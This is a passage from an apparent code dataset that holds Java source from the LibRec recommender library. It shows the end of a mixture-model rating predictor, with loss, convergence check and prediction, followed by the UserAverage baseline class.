sum_nl += nur * Math.log(pkr);
}
loss += ruk * (Math.log(pi_k) + sum_nl);
}
}
loss = -loss; // turn to minimization problem instead
if (isConverged(iter))
break;
}
}
@Override
protected boolean isConverged(int iter) throws Exception {
float deltaLoss = (float) (loss - lastLoss);
Logs.debug("{}{} iter {} achives loss = {}, delta_loss = {}", algoName, foldInfo, iter, (float) loss, deltaLoss);
if (iter > 1 && (deltaLoss > 0 || Double.isNaN(deltaLoss))) {
Logs.debug("{}{} converges at iter {}", algoName, foldInfo, iter);
return true;
}
lastLoss = loss;
return false;
}
@Override
public double predict(int u, int j, boolean bound) throws Exception {
double pred = 0;
for (int k = 0; k < numFactors; k++) {
double pu_k = Gamma.get(u, k); // probability that user u belongs to cluster k
double pred_k = 0;
for (int r = 0; r < numLevels; r++) {
double ruj = ratingScale.get(r);
double pkr = Pkr.get(k, r);
pred_k += ruj * pkr;
}
pred += pu_k * pred_k;
}
return pred;
}
@Override
public String toString() {
return numFactors + "," + numIters;
}
}
| 5,546 | 24.444954 | 116 | java |
librec | librec-master/librec/src/main/java/librec/baseline/UserAverage.java | // Copyright (C) 2014 Guibing Guo
//
// This file is part of LibRec.
//
// LibRec is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// LibRec is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with LibRec. If not, see <http://www.gnu.org/licenses/>.
//
package librec.baseline;
import java.util.HashMap;
import java.util.Map;
import librec.data.SparseMatrix;
import librec.data.SparseVector;
import librec.intf.Recommender;
/**
* Baseline: predict by the average of target user's ratings
*
* @author guoguibing
*
*/
public class UserAverage extends Recommender {
private Map<Integer, Double> userMeans;
public UserAverage(SparseMatrix rm, SparseMatrix tm, int fold) {
super(rm, tm, fold);
algoName = "UserAvg";
userMeans = new HashMap<>();
}
@Override
public double predict(int u, int j) {
if (!userMeans.containsKey(u)) {
SparseVector uv = trainMatrix.row(u);
userMeans.put(u, uv.getCount() > 0 ? uv.mean() : globalMean);
}
return userMeans.get(u);
}
}
| 1,443 | 25.254545 | 71 | java |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.